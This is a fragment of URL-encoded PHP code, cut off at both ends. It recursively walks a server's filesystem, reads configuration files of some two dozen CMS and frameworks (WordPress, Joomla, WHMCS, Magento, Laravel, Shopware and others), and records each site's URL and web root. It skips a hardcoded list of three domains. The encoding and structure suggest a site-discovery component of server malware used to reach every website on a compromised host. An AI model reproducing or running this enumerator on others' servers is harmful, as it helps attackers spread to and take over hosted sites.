2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_modx%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27modx%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24table_prefix%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27MODX_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24database_dsn%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24modx_site_url%5C%5Cs%2A%3D%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5Dsite_url%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27modx%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_processwire%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20%28strpos%28%24c%2C%20%27ProcessWire%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24config-%3EhttpHosts%27%29%20%3D%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2Aarray%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5C%5C%5C%24config%5C%5Cs%2A-%3E%5C%5Cs%2AhttpHosts%5C%5Cs%2A%3D%5C%5Cs%2A%5C%5C%5B%5C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%28strpos%28%24c%2C%20%22httpsForce%22%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24c%2C%20%22%27https%27%22%29%20%21%3D%3D%20false%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27site%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24host%2C%20%27processwire%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_october%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27activeTheme%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27backendUri%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Durl%5B%27%5C%22%5D%5C%5Cs%2A%3D%3E%5C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27october%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_craft%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27CRAFT_%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27PRIMARY_SITE_URL%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24url%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2APRIMARY_SITE_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20elseif%20%28preg_match%28%22/%5E%5Cs%2ACRAFT_BASE_CP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24url%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24url%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24web%20%3D%20%24doc%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24web%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20%24web%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27craft%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_shopware%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%24is_sw%20%3D%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_dir%28%24root%20.%20%27/custom/plugins%27%29%20%20%20%20%20%20%20%20%20%7C%7C%20%40is_file%28%24root%20.%20%27/composer.json%27%29%20%26%26%20strpos%28%28string%29%40file_get_contents%28%24root%20.%20%27/composer.json%27%29%2C%20%27shopware/%27%29%20%21%3D%3D%20false%3B%20%20%20%20%20if%20%28%21%24is_sw%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%40is_file%28%24root%20.%20%27/artisan%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%5C%5Cs%27%5C%22%5D%2B%29/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pub%20%3D%20%24root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20emit_found%28%40is_dir%28%24pub%29%20%3F%20%24pub%20%3A%20%24root%2C%20%24m%5B1%5D%2C%20%27shopware%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_laravel%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27laravel%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter3%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24config%5Cs%2A%5C%5B%5Cs%2A%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%5C%5D%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27codeigniter3%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_codeigniter4%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24baseURL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27codeigniter4%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_cakephp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5B%27%5C%22%5DfullBaseUrl%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2Aenv%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5B%5E%27%5C%22%5D%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%20.%20%27/webroot%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_webroot%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_webroot%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_webroot%2C%20%24m%5B1%5D%2C%20%27cakephp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_symfony%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20%24path_root%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28%40is_file%28%24path_root%20.%20%27/artisan%27%29%29%20return%3B%20%20%20%20%20if%20%28stripos%28%24c%2C%20%27SHOPWARE%27%29%20%21%3D%3D%20false%20%7C%7C%20%40is_dir%28%24path_root%20.%20%27/custom/plugins%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5E%5Cs%2AAPP_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%20%7C%7C%20%20%20%20%20%20%20%20%20preg_match%28%22/%5E%5Cs%2APUBLIC_URL%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%3F%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%3F/m%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_file%28%24path_root%20.%20%27/bin/console%27%29%29%20return%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%24path_public%3B%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_web%20%3D%20%24path_root%20.%20%27/web%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_out%20%3D%20%40is_dir%28%24path_web%29%20%3F%20%24path_web%20%3A%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_out%2C%20%24m%5B1%5D%2C%20%27symfony%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_kohana%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20%28strpos%28%24p%2C%20%27application/%27%29%20%21%3D%3D%20false%29%20%3F%20dirname%28dirname%28%24p%29%29%20%3A%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20emit_found%28%24path_root%2C%20%24m%5B1%5D%2C%20%27kohana%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_fuelphp%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dbase_url%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24path_fuel%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%20%20%20%20%24path_root%20%3D%20dirname%28%24path_fuel%29%3B%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%20.%20%27/public%27%3B%20%20%20%20%20%20%20%20%20if%20%28%21%40is_dir%28%24path_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24path_public%20%3D%20%24path_root%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24path_public%2C%20%24m%5B1%5D%2C%20%27fuelphp%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_bitrix%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24p%2C%20%27bitrix%27%29%20%3D%3D%3D%20false%29%20return%3B%20%20%20%20%20if%20%28preg_match%28%22/%5B%27%5C%22%5Dvalue%5B%27%5C%22%5D%5Cs%2A%3D%3E%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28dirname%28%24p%29%29%2C%20%24m%5B1%5D%2C%20%27bitrix%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20%24existed%20%3D%20%5B%22pdrelaxguesthouse.dev%22%2C%22gymdailyfitness.com%22%2C%22affisecret.com%22%5D%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%09%09%09if%20%28%24path%20%3D%3D%3D%20%27/%27%20%7C%7C%20%24path%20%3D%3D%3D%20%27%27%29%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%24file%3B%20%09%09%09%7D%20else%20%7B%20%09%09%09%09%24p%20%3D%20%24path%20.%20%27/%27%20.%20%24file%3B%20%09%09%09%7D%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20false%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20foreach%20%28%24existed%20as%20%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24p%2C%20%24domain%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24found%20%3D%20true%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20break%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24found%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_wp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27configuration.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21scan_joomla%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_whmcs%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27sites%5C%5C%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_drupal%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalSettings.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_mediawiki%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27LocalConfiguration.php%27%20%7C%7C%20%28%24file%20%3D%3D%20%27settings.php%27%20%26%26%20%28strpos%28%24p%2C%20%27typo3conf%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27typo3%27%29%20%21%3D%3D%20false%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_typo3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.inc.php%27%20%26%26%20%28strpos%28%24p%2C%20%27modx%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27core/config%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_modx%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%28%24file%20%3D%3D%20%27parameters.php%27%20%7C%7C%20%24file%20%3D%3D%20%27settings.inc.php%27%29%20%26%26%20%28strpos%28%24p%2C%20%27/config%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27/app/%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%204000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27database_host%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27_DB_SERVER_%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27prestashop%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27ps_%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_prestashop%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27env.php%27%20%26%26%20%28strpos%28%24p%2C%20%27app/etc%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27app%5C%5Cetc%27%29%20%21%3D%3D%20false%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_magento%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27cms.php%27%20%26%26%20strpos%28%24p%2C%20%27config/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_october%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%20%26%26%20strpos%28%24p%2C%20%27/site/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_processwire%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24head%20%3D%20%28string%29%40file_get_contents%28%24p%2C%20false%2C%20null%2C%200%2C%208000%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24head%2C%20%27%24CFG%27%29%20%21%3D%3D%20false%20%26%26%20strpos%28%24head%2C%20%27wwwroot%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_moodle%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24head%2C%20%27DIR_APPLICATION%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24head%2C%20%27HTTP_SERVER%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_opencart%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27application/config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter3%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27fuel/%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_fuelphp%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.settings.php%27%20%26%26%20strpos%28%24p%2C%20%27bitrix%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_bitrix%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27.env%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_laravel%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_shopware%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_craft%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_symfony%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%20%27App.php%27%20%26%26%20strpos%28%24p%2C%20%27app/Config%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan_codeigniter4%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7